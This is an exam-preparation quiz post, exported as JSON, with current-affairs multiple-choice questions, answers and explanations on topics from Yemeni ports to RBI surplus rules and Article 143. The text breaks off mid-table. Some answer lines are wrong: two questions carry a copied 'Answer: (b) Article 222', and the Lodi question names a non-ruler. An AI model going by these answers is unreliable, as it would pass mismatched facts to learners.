{"id":2096,"date":"2025-05-20T12:42:37","date_gmt":"2025-05-20T12:42:37","guid":{"rendered":"https:\/\/iasquest.com\/?p=2096"},"modified":"2026-02-11T18:57:08","modified_gmt":"2026-02-11T18:57:08","slug":"daily-current-affairs-19-05-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-19-05-2025\/","title":{"rendered":"Daily Current Affairs \u2013 19-05-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Consider the following pairs:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td>&nbsp;<\/td><td><strong>Port<\/strong><\/td><td><strong>Location<\/strong><\/td><\/tr><tr><td>1.<\/td><td>Ras Isa<\/td><td>Saudi Arabia<\/td><\/tr><tr><td>2.<\/td><td>Hodeida<\/td><td>Yemen<\/td><\/tr><tr><td>3.<\/td><td>Al-Salif<\/td><td>Oman<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\"><strong>How many pairs given above are correctly matched?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">(a) Only one pair<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">(b) Only two pairs<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">(c) Only three pairs<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(d) All four pairs<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\"><strong>Answer: (a) Only one pair<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-9\">\n<li>Israel launches strikes on two Yemen ports<\/li>\n\n\n\n<li>Prime Minister Benjamin Netanyahu promises more strikes if the group continues to launch attacks on Israel.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Israel launched a strike on Hodeida and al-Salif ports in Yemen, controlled by Houthis<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-11\">\n<li>Ras Isa: Located in Yemen, Ras Isa is a critical oil export terminal situated along the Red Sea coast.<strong>Hence pair 1 is incorrect<\/strong><\/li>\n\n\n\n<li>Hodeida : Also located in Yemen, Hodeida is a key port for importing humanitarian aid, and it&#8217;s controlled by the Houthi rebels.<strong>Hence pair 2 is correct<\/strong><\/li>\n\n\n\n<li>Al-Salif : Located in Yemen, Al-Salif is another important port for oil exports and general cargo. <strong>Hence pair 3 is incorrect<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"443\" height=\"250\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/05\/image-7.jpg\" alt=\"\" class=\"wp-image-2097\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/05\/image-7.jpg 443w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/05\/image-7-300x169.jpg 300w\" sizes=\"auto, (max-width: 443px) 100vw, 443px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Source: <a href=\"https:\/\/www.aljazeera.com\/news\/2025\/5\/16\/israel-vows-to-kill-houthi-leader-after-striking-yemeni-ports\" target=\"_blank\" rel=\"noopener\">https:\/\/www.aljazeera.com\/news\/2025\/5\/16\/israel-vows-to-kill-houthi-leader-after-striking-yemeni-ports<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>2.Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>Statement-I:<\/strong>&nbsp; Yaks can survive in high-altitude regions with extremely low oxygen levels.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>Statement-II:<\/strong> Yaks have a higher lung capacity and smaller red blood cells than lowland cattle.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\">(a) Both Statement-I and Statement-II are correct and Statement-II explains Statement-I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\">(b) Both Statement-I and Statement-II are correct, but Statement-II does not explain Statement-I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\">(c) Statement-I is correct, but Statement-II is incorrect<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\">(d) Statement-I is incorrect, but Statement-II is correct<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>Answer: (a) Both Statement-I and Statement-II are correct and Statement-II explains Statement-I<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-22\">\n<li>Indian scientists have achieved a breakthrough in yak genomic research by assembling the first-ever chromosome-level genome of the Indian yak (Bos grunniens).<\/li>\n\n\n\n<li>The initiative, led by ICAR-NRC on Yak, Dirang, will bolster breeding programs and improve conservation of this high-altitude livestock species.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>About Wild yaks<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-24\">\n<li>Wild yaks inhabit alpine tundra at altitudes of 5000 to 7000 meters.<\/li>\n\n\n\n<li>They thrive in environments such as alpine meadows, alpine steppes, and desert steppes.<\/li>\n\n\n\n<li>In India, yaks are reared in Arunachal Pradesh, Sikkim, Himachal Pradesh, Uttar Pradesh, and the union territories of Jammu &amp; Kashmir and Ladakh.<\/li>\n\n\n\n<li>Wild yaks are around 2 meters tall at the shoulder, while domesticated yaks are smaller.<\/li>\n\n\n\n<li>They have long, shaggy hair for insulation and curved horns, with larger horns in males.<\/li>\n\n\n\n<li>Their lung capacity is nearl<strong>y three times that of cattle, with smaller red blood cells, making them highly adapted to high-altitude, low-oxygen environments. Hence statement I and statement II is correct.<\/strong><\/li>\n\n\n\n<li>Yaks are herbivorous, feeding on grasses and alpine plants.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/himalayan-leap-for-yak-genomic-science\/article69575922.ece\" target=\"_blank\" rel=\"noopener\">https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/himalayan-leap-for-yak-genomic-science\/article69575922.ece<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\"><strong>3.Who among the following rulers of the Lodi dynasty constructed a 16th- century stepwell, Rajon ki Baoli located at Mehrauli Archaeological Park in New Delhi?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\">(a) Bahlul Lodi<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\">(b) Daulat Khan Lodi<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\">(c) Ibrahim Lodi<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\">(d) Sikandar Lodi<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>Answer: (b) <\/strong>Daulat Khan Lodi<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-32\">\n<li>Conservation project was completed for Rajon ki Baoli, a 16th-century stepwell in Mehrauli Archaeological Park, New Delhi.<\/li>\n\n\n\n<li>This project was led by the Archaeological Survey of India (ASI) in partnership with the World Monuments Fund India (WMFI) and the TCS Foundation.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><strong>About Rajon ki Baoli<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-34\">\n<li>Rajon ki Baoli was constructed around 1506 during the Lodi dynasty. It exemplifies the architectural and engineering prowess of the time.<\/li>\n\n\n\n<li>It was built in 1506 CE by <strong>Daulat Khan during the reign of Sikander Lodi, of the Lodi dynasty, which was the last pre-Mughal dynasty in India. Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>The stepwell served dual purposes \u2013 storing water and providing shade to travellers.<\/li>\n\n\n\n<li>Its intricate design features elegant arched colonnades and ornate stucco medallions, showcasing the artistic skills of the era.<\/li>\n\n\n\n<li>The structure spans 1,610 square metres and descends to a depth of 13.4 metres.<\/li>\n\n\n\n<li>The stepwell\u2019s name, Rajon ki Baoli, translates to \u2018Baoli of the Masons,\u2019 reflecting its historical use by masons for drinking and cooking purposes.<\/li>\n\n\n\n<li>The stepwell is primarily subterranean, with only the topmost storey visible above ground.<\/li>\n\n\n\n<li>Its structure is built in four levels, each narrowing down as one approaches the well in the bottom.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.newsonair.gov.in\/16th-century-rajon-ki-baoli-restored-in-delhis-mehrauli-park\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.newsonair.gov.in\/16th-century-rajon-ki-baoli-restored-in-delhis-mehrauli-park\/<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><strong>4.GRAIL (Gravity Recovery and Interior Laboratory) is set up under the<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\">(a) ISRO<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\">(b) NASA<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\">(c) JAXA<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\">(d) Roscosmos<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>Answer: (b) <\/strong>NASA<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>InNews; Gravity Study Shows Why The Moon\u2019s Two Sides Look So Different<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-43\">\n<li>The data from the U.S. space agency\u2019s GRAIL, or Gravity Recovery and Interior Laboratory, mission indicates that the moon\u2019s deep interior has an asymmetrical structure, apparently caused by intense volcanism on its nearside billions of years ago that helped shape its surface features.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>About GRAIL<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-45\">\n<li>GRAIL (Gravity Recovery and Interior Laboratory) was a NASA lunar science mission aimed at mapping the Moon\u2019s gravitational field in high resolution.<\/li>\n\n\n\n<li>GRAIL used two identical spacecraft, Ebb and Flow, flying in tandem to detect small changes in the Moon\u2019s gravity.<\/li>\n\n\n\n<li>Conducted by NASA\u2019s Jet Propulsion Laboratory (JPL) in collaboration with MIT for scientific oversight.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\"><strong>Key Features:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-47\">\n<li>Consisted of two spacecraft, named Ebb and Flow, flying in tandem around the Moon.<\/li>\n\n\n\n<li>Measured minute variations in gravitational pull to reveal the Moon\u2019s internal composition.<\/li>\n\n\n\n<li>Ended with a controlled impact on the lunar surface after successful mission completion.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source:<\/strong> <a href=\"https:\/\/ddnews.gov.in\/en\/gravity-study-shows-why-the-moons-two-sides-look-so-different\/\" target=\"_blank\" rel=\"noopener\">https:\/\/ddnews.gov.in\/en\/gravity-study-shows-why-the-moons-two-sides-look-so-different\/<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>5.Which of the following are potential uses of geotubes (geobags)?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\">1. Dewatering of industrial and municipal sludge<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\">2. Coastal and riverbank erosion control<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\">3. Construction of temporary flood barriers<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\"><strong>Select the correct answer using the code below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\"><strong>Answer: (d) 1,2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\"><strong>In News: Study finds geotubing at Poonthura effective in controlling coastal erosion<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-60\">\n<li>One of the major outcomes was the effective prevention of wave overtopping beyond the seawall, extending roughly twice the length of the offshore breakwater on the shore side<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\"><strong>About Geotubes<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-62\">\n<li>Geotubes, also referred to as geobags, are large permeable containers used extensively for sludge dewatering due to their cost-effectiveness and operational simplicity.<\/li>\n\n\n\n<li>These containers are hydraulically filled with a slurry mixture of sand and water, where the water drains through the engineered fabric, and the sand or solids settle inside through gravity.<\/li>\n\n\n\n<li>The system operates without belts, gears, or complex mechanical parts, making it easy to use and maintain in a variety of settings.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\"><strong>Key Applications<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-64\">\n<li>Geotube systems are ideal fo<strong>r shoreline protection, island and wetland creation, construction platforms, and offshore structures.<\/strong><\/li>\n\n\n\n<li>They are widely used in the <strong>pulp and paper industry, mining operations, coal sludge removal, and municipal wastewater treatment.<\/strong><\/li>\n\n\n\n<li>The technology is also beneficial in the <strong>agriculture sector, especially in dairy farms, piggeries, abattoirs, and aquaculture. Hence option (d) is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source:<\/strong> <a href=\"https:\/\/www.thehindu.com\/news\/national\/kerala\/study-finds-geotubing-at-poonthura-effective-in-controlling-coastal-erosion\/article69564389.ece\" target=\"_blank\" rel=\"noopener\">https:\/\/www.thehindu.com\/news\/national\/kerala\/study-finds-geotubing-at-poonthura-effective-in-controlling-coastal-erosion\/article69564389.ece<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>6.Which of the following constitutional provisions deals with the transfer of judges from one High Court to another?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\">(a) Article 217<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\">(b) Article 222<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\">(c) Article 124<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\">(d) Article 226<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\"><strong>Answer: (b) <\/strong>Article 222<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\"><strong>In News: Judicial transfers: Help or hindrance?<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-73\">\n<li>Last month, two bar associations protested two separate transfer recommendations of the Supreme Court\u2019s collegium.<\/li>\n\n\n\n<li>Justice Yashwant Varma\u2019s transfer to the Allahabad High Court was vehemently opposed due to a then ongoing investigation against him.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\"><strong>About Article 222<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-75\">\n<li>Article 222(1) of the <strong>Constitution empowers the President<\/strong> to<strong> transfer a judge<\/strong> in consultation with the Chief Justice of India (CJI).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\"><strong>Constitutional Provision:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-77\">\n<li>Empowers the President of India to transfer a judge (including the Chief Justice) from one High Court to another.<\/li>\n\n\n\n<li>Consent of the judge is not required, irrespective of whether it&#8217;s the first or a subsequent transfer.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-78\"><a><\/a><strong>Role of the Chief Justice of India (CJI) and the Collegium<\/strong><\/h3>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-79\"><a><\/a><strong>1. Transfer of a High Court Judge (not Chief Justice):<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-80\">\n<li>Initiated by the CJI; his opinion is determinative.<\/li>\n\n\n\n<li>The CJI consults:<\/li>\n\n\n\n<li>The Chief Justice of the transferring High Court,<\/li>\n\n\n\n<li>The Chief Justice of the receiving High Court,<\/li>\n\n\n\n<li>One or<strong> more Supreme Court judges<\/strong> familiar with the concerned judge\u2019s performance and conduct.<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-81\"><a><\/a><strong>2. Transfer of a Chief Justice of a High Court:<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-82\">\n<li>Reviewed by the Collegium, which includes:<\/li>\n\n\n\n<li>The CJI and the four senior-most judges of the Supreme Court.<\/li>\n\n\n\n<li>The Collegium collectively evaluates the proposal before making a recommendation.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.deccanherald.com\/opinion\/judicial-transfers-help-or-hindrance-3541044\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.deccanherald.com\/opinion\/judicial-transfers-help-or-hindrance-3541044<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\"><strong>7.With reference to the Economic Capital Framework (ECF) of the Reserve Bank of India, consider the following statements:<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-84\">\n<li>The ECF provides a methodology for determining the risk provisions and surplus distribution under Section 47 of the RBI Act, 1934.<\/li>\n\n\n\n<li>The RBI is required to transfer all of its annual profits to the Consolidated Fund of India under the ECF.<\/li>\n\n\n\n<li>The Bimal Jalan Committee was constituted to review the ECF and recommend a suitable framework for risk provisioning and surplus distribution.<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\">(b) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\"><strong>Answer: (b) Article 222<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\"><strong>In News: Why and how does the RBI transfer \u2018surplus\u2019 to the government?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\">The RBI may transfer a record \u20b92.5\u2013\u20b93 lakh crore surplus for 2024\u201325 after its recent review of its Economic Capital Framework (ECF).<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-94\"><a><\/a><strong>Economic Capital Framework (ECF) \u2013 RBI<\/strong><\/h3>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\"><strong>Purpose<\/strong>:<br>The ECF provides a structured methodology to determine the <strong>appropriate level of risk provisions<\/strong> and <strong>profit distribution<\/strong> under <strong>Section 47 of the RBI Act, 1934<\/strong>. <strong>Hence statement 1 is correct<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\">Under this section, the RBI must transfer its <strong>net profits<\/strong> to the <strong>central government<\/strong>, after setting aside funds for:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-97\">\n<li>Bad and doubtful debts<ul><li>Depreciation in assets<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Staff contributions. <strong>Hence statement 2 is incorrect<\/strong><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\"><strong>Timeline &amp; Development<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-99\">\n<li><strong>Developed:<\/strong> 2014\u201315\n<ul class=\"wp-block-list\">\n<li><strong>Operationalised:<\/strong> 2015\u201316<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\"><strong>Review &amp; Expert Committee<\/strong>:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-101\">\n<li><strong>On<\/strong> <strong>December 26, 2018<\/strong>, the <strong>Central Board of the RBI<\/strong>, in consultation with the <strong>Government of India<\/strong>, constituted an <strong>Expert Committee<\/strong> chaired by <strong>Dr. Bimal Jalan<\/strong>.<br><br><strong>Mandate<\/strong>:<\/li>\n\n\n\n<li>Review the RBI\u2019s existing Economic Capital Framework<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-102\">\n<li>Recommend an appropriate <strong>level of risk provisioning<\/strong>\n<ul class=\"wp-block-list\">\n<li>Propose a <strong>surplus distribution policy<\/strong> that is resilient across a range of economic scenarios<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\"><strong>Outcome<\/strong>:<br>The <strong>Central Board of the RBI<\/strong> accepted <strong>all recommendations<\/strong> of the <strong>Bimal Jalan Committee<\/strong> in its meeting on <strong>August 26, 2019<\/strong>. <strong>Hence statement 3 is correct<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/indianexpress.com\/article\/explained\/explained-economics\/rbi-transfer-surplus-dividend-government-policy-10010545\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/explained\/explained-economics\/rbi-transfer-surplus-dividend-government-policy-10010545\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\"><strong>8.With reference to the advisory jurisdiction of the Supreme Court of India, consider the following statements:<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-105\">\n<li>The advisory opinion of the Supreme Court under Article 143 is binding on the President.<\/li>\n\n\n\n<li>The President can refer any question of law or fact of public importance to the Supreme Court.<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>Answer: (b) Article 222<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\"><strong>In News: After President Murmu seeks advisory opinion from SC, can court overturn its R N Ravi decision?<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-114\">\n<li>President Droupadi Murmu has invoked the Supreme Court\u2019s advisory jurisdiction under Article 143(1) of the Constitution to determine whether timelines can be set for the President and Governors to act on Bills sent by state Assemblies<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\"><strong>What is Advisory Jurisdiction?<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-116\">\n<li>Advisory jurisdiction refers to the power of the Supreme Court to give its opinion on questions of law or fact when referred by the President of India. It is a consultative process and does not involve actual litigation.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\"><strong>Constitutional Basis: Article 143 of the Indian Constitution<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\"><strong>Article 143(1):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-119\">\n<li>The President may refer to the Supreme Court any question of law or fact of public importance for its opinion. Example: Berubari Union case (1960)<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\"><strong>Article 143(2):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-121\">\n<li>The President can refer disputes related to pre-constitutional treaties or agreements, particularly with former princely states.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\"><strong>Key Features:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>Feature<\/strong><\/td><td><strong>Description<\/strong><\/td><\/tr><tr><td><strong>Discretionary Nature<\/strong><\/td><td>The Supreme Court <strong>may choose<\/strong> to answer or decline the reference.<\/td><\/tr><tr><td><strong>Non-binding Opinion<\/strong><\/td><td>The opinion given is <strong>advisory in nature<\/strong> and <strong>not legally binding<\/strong>.<\/td><\/tr><tr><td><strong>No 